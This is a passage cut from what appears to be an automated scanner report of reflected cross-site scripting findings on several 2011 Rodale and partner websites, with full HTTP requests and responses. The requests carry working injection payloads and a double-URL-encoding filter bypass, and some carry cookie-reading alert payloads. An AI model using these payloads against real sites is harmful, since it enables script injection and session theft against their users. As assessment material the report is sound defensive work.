This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /red/psi/sites/www.prevention.com/p.json?callback=_ate.ad.hpra3993<script>alert(1)</script>e17c06a897c&uid=4d5af32c71c2e1a5&url=http%3A%2F%2Fwww.prevention.com%2Fcda%2Fhomepage.do%3Fcm_sp%3DNetwork%2520Banner-_-PV-_-Rodale.com&y8zqvf HTTP/1.1
Host: ds.addthis.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh33.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; uit=1; di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1299599890.60|1299599890.1FE|1297806627.66; dt=X; psc=4; uid=4d5af32c71c2e1a5

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 407
Content-Type: text/javascript
Set-Cookie: bt=; Domain=.addthis.com; Expires=Thu, 10 Mar 2011 16:42:07 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Sat, 09 Apr 2011 16:42:07 GMT; Path=/
Set-Cookie: di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1299775327.1FE|1299775327.60|1297806627.66; Domain=.addthis.com; Expires=Sat, 09-Mar-2013 02:59:46 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Thu, 10 Mar 2011 16:42:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:42:07 GMT
Connection: close

_ate.ad.hpra3993<script>alert(1)</script>e17c06a897c({"urls":["http://pixel.33across.com/ps/?pid=454&uid=4d5af32c71c2e1a5","http://cspix.media6degrees.com/orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d5af32c71c2e1a5&curl=http%3a%2f%2fwww.prevent
...[SNIP]...

2.14. http://recipes.rodale.com/homepage.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://recipes.rodale.com
Path:	/homepage.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d0ac'-alert(1)-'ac698ac70ae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /homepage.aspx?7d0ac'-alert(1)-'ac698ac70ae=1 HTTP/1.1
Host: recipes.rodale.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: URL=http://recipes.rodale.com/Default.aspx; ASP.NET_SessionId=wcjk0ffc5vis5xu3pxtlpyf1

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=20
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:44:26 GMT
Last-Modified: Thu, 10 Mar 2011 16:44:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: URL=http://recipes.rodale.com/homepage.aspx?7d0ac'-alert(1)-'ac698ac70ae=1; path=/; HttpOnly
Date: Thu, 10 Mar 2011 16:44:05 GMT
Content-Length: 124318

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl01_MasterHead"><t
...[SNIP]...
dfpCat= 'recipes';
var cat = dfpCat;
var dfpKeyword = '';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
var logInLandingPage= 'http://recipes.rodale.com/homepage.aspx?7d0ac'-alert(1)-'ac698ac70ae=1';
var logOutLandingPage= 'http://recipes.rodale.com/homepage.aspx?7d0ac'-alert(1)-'ac698ac70ae=1';
</script>
...[SNIP]...

2.15. http://remedies.rodale.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://remedies.rodale.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8acab%2522%253balert%25281%2529%252f%252f442e2727d3c was submitted in the REST URL parameter 1. This input was echoed as 8acab";alert(1)//442e2727d3c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Request

GET /favicon.ico8acab%2522%253balert%25281%2529%252f%252f442e2727d3c HTTP/1.1
Host: remedies.rodale.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESScb632e7b126b35a7bcfbb3451a86cfd7=2qgeu9pbmt1ukaeaeupr9gjg82; HomeRemedies_Gateway_Cookie=1299775124000; has_js=1; RMDCURURL=http://remedies.rodale.com/; cmTPSet=Y; _chartbeat2=2gjgtv7qcf2o20vh

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:45:08 GMT
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 16:45:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:45:11 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: HomeRemedies_Gateway_Cookie=1299775508000; path=/; domain=remedies.rodale.com
Content-Length: 57090

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="utf-8">

<head>
<title>
...[SNIP]...
<script type="text/javascript">
var parentURL = "http://remedies.rodale.com/favicon.ico8acab";alert(1)//442e2727d3c";
var dfpZone = "remedies";
var dfpTopic = "";
var dfpSubTopic = "";
var dfpTile = 1;
var dfpKeyword = "";
var siteName="rodale";
var dfpCat="";
var logInLandingPage = 'http://remedies
...[SNIP]...

2.16. http://sitelife.prevention.com/ver1.0/Summary/SummaryArticlesMostCommented [plckElementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sitelife.prevention.com
Path:	/ver1.0/Summary/SummaryArticlesMostCommented

Issue detail

The value of the plckElementId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1de07"%3balert(1)//45359c91e1c was submitted in the plckElementId parameter. This input was echoed as 1de07";alert(1)//45359c91e1c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ver1.0/Summary/SummaryArticlesMostCommented?plckElementId=Summary_Container1de07"%3balert(1)//45359c91e1c&plckCount=5&plckNoCache=1299795821407&plckApiKey=%24%7BAPIKey%7D HTTP/1.1
Host: sitelife.prevention.com
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/categorypage.do?channel=news.voices&category=f47b9%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E91b875ad3d2&topic=slideshows
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1842843424-1299775204149; PVNCURURL=http://www.prevention.com/cda/categorypage.do?channel=news.voices&category=f47b9%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E91b875ad3d2&topic=slideshows

Response

HTTP/1.1 200 OK
Set-Cookie: preventionprod=R3213878906; path=/
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 3758
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: preventionprod3l3pluckcom
Set-Cookie: ASP.NET_SessionId=o3bmjoejdw0utrmg4ob5ewu1; path=/; HttpOnly
Set-Cookie: SiteLifeHost=preventionprod3l3pluckcom; domain=prevention.com; path=/
Set-Cookie: anonId=96d1dad1-c7c6-40a8-804b-69792fc4b569; domain=prevention.com; expires=Fri, 09-Mar-2012 22:23:25 GMT; path=/
Date: Thu, 10 Mar 2011 22:23:25 GMT

document.domain = "prevention.com";

gSiteLife.InnerHtmlWrite("Summary_Container1de07";alert(1)//45359c91e1c", "<div class=\"Summary_Container\"> <div c
...[SNIP]...

2.17. http://sitelife.prevention.com/ver1.0/Summary/SummaryArticlesMostRecommended [plckElementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sitelife.prevention.com
Path:	/ver1.0/Summary/SummaryArticlesMostRecommended

Issue detail

The value of the plckElementId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e4262"%3balert(1)//bd0a4fd4022 was submitted in the plckElementId parameter. This input was echoed as e4262";alert(1)//bd0a4fd4022 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ver1.0/Summary/SummaryArticlesMostRecommended?plckElementId=Summary_Container1e4262"%3balert(1)//bd0a4fd4022&plckCount=5&plckNoCache=1299795821408&plckApiKey=%24%7BAPIKey%7D HTTP/1.1
Host: sitelife.prevention.com
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/categorypage.do?channel=news.voices&category=f47b9%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E91b875ad3d2&topic=slideshows
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1842843424-1299775204149; PVNCURURL=http://www.prevention.com/cda/categorypage.do?channel=news.voices&category=f47b9%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E91b875ad3d2&topic=slideshows

Response

HTTP/1.1 200 OK
Set-Cookie: preventionprod=R3213878906; path=/
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 3619
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: preventionprod3l3pluckcom
Set-Cookie: ASP.NET_SessionId=v000esivmb5gi0au5nccfb3k; path=/; HttpOnly
Set-Cookie: SiteLifeHost=preventionprod3l3pluckcom; domain=prevention.com; path=/
Set-Cookie: anonId=f593341a-07fb-46c7-9fe0-ff4627f59bc0; domain=prevention.com; expires=Fri, 09-Mar-2012 22:23:25 GMT; path=/
Date: Thu, 10 Mar 2011 22:23:25 GMT

document.domain = "prevention.com";

gSiteLife.InnerHtmlWrite("Summary_Container1e4262";alert(1)//bd0a4fd4022", "<div class=\"Summary_Container\"> <div
...[SNIP]...

2.18. http://sitelife.prevention.com/ver1.0/Summary/SummaryBlogsRecent [plckElementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sitelife.prevention.com
Path:	/ver1.0/Summary/SummaryBlogsRecent

Issue detail

The value of the plckElementId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6fef2"%3balert(1)//1d2ed9a1446 was submitted in the plckElementId parameter. This input was echoed as 6fef2";alert(1)//1d2ed9a1446 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ver1.0/Summary/SummaryBlogsRecent?plckElementId=Summary_Container26fef2"%3balert(1)//1d2ed9a1446&plckCount=3&plckNoCache=1299795821408&plckApiKey=%24%7BAPIKey%7D HTTP/1.1
Host: sitelife.prevention.com
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/categorypage.do?channel=news.voices&category=f47b9%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E91b875ad3d2&topic=slideshows
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1842843424-1299775204149; PVNCURURL=http://www.prevention.com/cda/categorypage.do?channel=news.voices&category=f47b9%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E91b875ad3d2&topic=slideshows

Response

HTTP/1.1 200 OK
Set-Cookie: preventionprod=R3213878906; path=/
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1571
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: preventionprod3l3pluckcom
Set-Cookie: ASP.NET_SessionId=jpd031yxfaeoz22wig5osa45; path=/; HttpOnly
Set-Cookie: SiteLifeHost=preventionprod3l3pluckcom; domain=prevention.com; path=/
Set-Cookie: anonId=acea500a-eb36-4c0c-9c0b-f0e4e2babd5f; domain=prevention.com; expires=Fri, 09-Mar-2012 22:23:24 GMT; path=/
Date: Thu, 10 Mar 2011 22:23:24 GMT

document.domain = "prevention.com";

gSiteLife.InnerHtmlWrite("Summary_Container26fef2";alert(1)//1d2ed9a1446", "<div class=\"Summary_Container\"> <table class=\"Summary_BlogTa
...[SNIP]...

2.19. http://sitelife.prevention.com/ver1.0/Summary/SummaryBlogsRecentPosts [plckElementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sitelife.prevention.com
Path:	/ver1.0/Summary/SummaryBlogsRecentPosts

Issue detail

The value of the plckElementId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de170"%3balert(1)//3c37359584b was submitted in the plckElementId parameter. This input was echoed as de170";alert(1)//3c37359584b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ver1.0/Summary/SummaryBlogsRecentPosts?plckElementId=Summary_Containerde170"%3balert(1)//3c37359584b&plckCount=3&plckTagFilter=UserTier:Featured&plckNoCache=1299795839779&plckApiKey=%24%7BAPIKey%7D HTTP/1.1
Host: sitelife.prevention.com
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/eb53a'style%3d'x%3aexpression(alert(1))'f8b875ad203/bobbi.brown
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1842843424-1299775204149; preventionprod=R3213878906; ASP.NET_SessionId=yenypbvdewyi2j452irbbh45; SiteLifeHost=preventionprod3l3pluckcom; anonId=69c065c5-d7da-4e8e-bf8d-b0a9856c0902; PVNCURURL=http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/eb53a'style%3d'x%3aexpression(alert(1))'f8b875ad203/bobbi.brown

Response

HTTP/1.1 200 OK
Set-Cookie: preventionprod=R3213878906; path=/
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 4882
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: preventionprod3l3pluckcom
Set-Cookie: SiteLifeHost=preventionprod3l3pluckcom; domain=prevention.com; path=/
Date: Thu, 10 Mar 2011 22:23:55 GMT

document.domain = "prevention.com";

gSiteLife.InnerHtmlWrite("Summary_Containerde170";alert(1)//3c37359584b", "<div class=\"Summary_Container\"> <table class=\"Summary_BlogTab
...[SNIP]...

2.20. http://sitelife.runnersworld.com/ver1.0/Summary/SummaryBlogsRecentPosts [plckElementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sitelife.runnersworld.com
Path:	/ver1.0/Summary/SummaryBlogsRecentPosts

Issue detail

The value of the plckElementId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 659cb"%3balert(1)//605113aabff was submitted in the plckElementId parameter. This input was echoed as 659cb";alert(1)//605113aabff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ver1.0/Summary/SummaryBlogsRecentPosts?plckElementId=Summary_Container659cb"%3balert(1)//605113aabff&plckCount=3&plckTagFilter=UserTier:Trusted&plckNoCache=1299775226702&plckApiKey=%24%7BAPIKey%7D HTTP/1.1
Host: sitelife.runnersworld.com
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/?cm_sp=Network%20Banner-_-RW-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Set-Cookie: plckARPTrrunworldprod=R3615854285; path=/
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: l3vm238l3pluckcom
Set-Cookie: SiteLifeHost=l3vm238l3pluckcom; domain=runnersworld.com; path=/
Set-Cookie: anonId=56e05ab0-5adc-4413-8795-093322ab0307; domain=runnersworld.com; expires=Fri, 09-Mar-2012 16:43:42 GMT; path=/
Date: Thu, 10 Mar 2011 16:43:41 GMT
Content-Length: 4586

document.domain = "runnersworld.com";

gSiteLife.InnerHtmlWrite("Summary_Container659cb";alert(1)//605113aabff", "<div class=\"Summary_Container\"> <table class=\"Summary_BlogT
...[SNIP]...

2.21. http://video.bicycling.com/decor/javascript/elements.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/decor/javascript/elements.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef70c"><script>alert(1)</script>a5fc3b044f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /decoref70c"><script>alert(1)</script>a5fc3b044f5/javascript/elements.js?3 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=221961b751ef8fd98f0c48221ccd6bbf; path=/; expires=Fri, 11-Mar-2011 16:41:20 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-Cached: No
Content-Length: 48599
Date: Thu, 10 Mar 2011 16:41:20 GMT
X-Varnish: 908941127
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/decoref70c"><script>alert(1)</script>a5fc3b044f5/javascript/elements.js%0AServer: video.bicycling.com%0APath: /decoref70c">
...[SNIP]...

2.22. http://video.bicycling.com/decor/javascript/magnify_pipeline.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/decor/javascript/magnify_pipeline.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 996bb"><script>alert(1)</script>8dae519f5a0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /decor996bb"><script>alert(1)</script>8dae519f5a0/javascript/magnify_pipeline.js?v1.2 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=1b7bca0cd5f2709c54af5045f9c2daf0; path=/; expires=Fri, 11-Mar-2011 16:41:22 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-Cached: No
Content-Length: 48630
Date: Thu, 10 Mar 2011 16:41:22 GMT
X-Varnish: 908941357
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/decor996bb"><script>alert(1)</script>8dae519f5a0/javascript/magnify_pipeline.js%0AServer: video.bicycling.com%0APath: /decor996bb">
...[SNIP]...

2.23. http://video.bicycling.com/decor/javascript/magnify_stats.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/decor/javascript/magnify_stats.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5b2d"><script>alert(1)</script>e97edfb21a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /decord5b2d"><script>alert(1)</script>e97edfb21a1/javascript/magnify_stats.js?v1.3 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=d614ec21bddf6a07496656767309fb65; path=/; expires=Fri, 11-Mar-2011 16:41:22 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-Cached: No
Content-Length: 48619
Date: Thu, 10 Mar 2011 16:41:22 GMT
X-Varnish: 908941360
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/decord5b2d"><script>alert(1)</script>e97edfb21a1/javascript/magnify_stats.js%0AServer: video.bicycling.com%0APath: /decord5b2d">
...[SNIP]...

2.24. http://video.bicycling.com/decor/live/transparent.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/decor/live/transparent.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a12b"><script>alert(1)</script>8c0848d39f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /decor7a12b"><script>alert(1)</script>8c0848d39f9/live/transparent.gif?keepalive=1299775216667 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=68db2306a40a8ebec98db9dc0efc0be6; path=/; expires=Fri, 11-Mar-2011 16:43:16 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-Cached: No
Content-Length: 48591
Date: Thu, 10 Mar 2011 16:43:16 GMT
X-Varnish: 908958728
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/decor7a12b"><script>alert(1)</script>8c0848d39f9/live/transparent.gif%0AServer: video.bicycling.com%0APath: /decor7a12b">
...[SNIP]...

2.25. http://video.bicycling.com/decor/track/dot.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/decor/track/dot.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26fed"><script>alert(1)</script>9e0a4c4a3bd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /decor26fed"><script>alert(1)</script>9e0a4c4a3bd/track/dot.gif?time=1299775228891&type=player_embed&session_id=f899d191af7c22c1f7a0d0e1386c14d2&is_video=0&player_embed=1&site=VWFKF2JN1169LWBK&r=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html&v=%2F%2Fw-c%2FC5QKZB153SRSPSH2&c=%2F%2Fci-c%2F21CQ460F9BWWZSF9&sp=enterprise HTTP/1.1
Host: video.bicycling.com
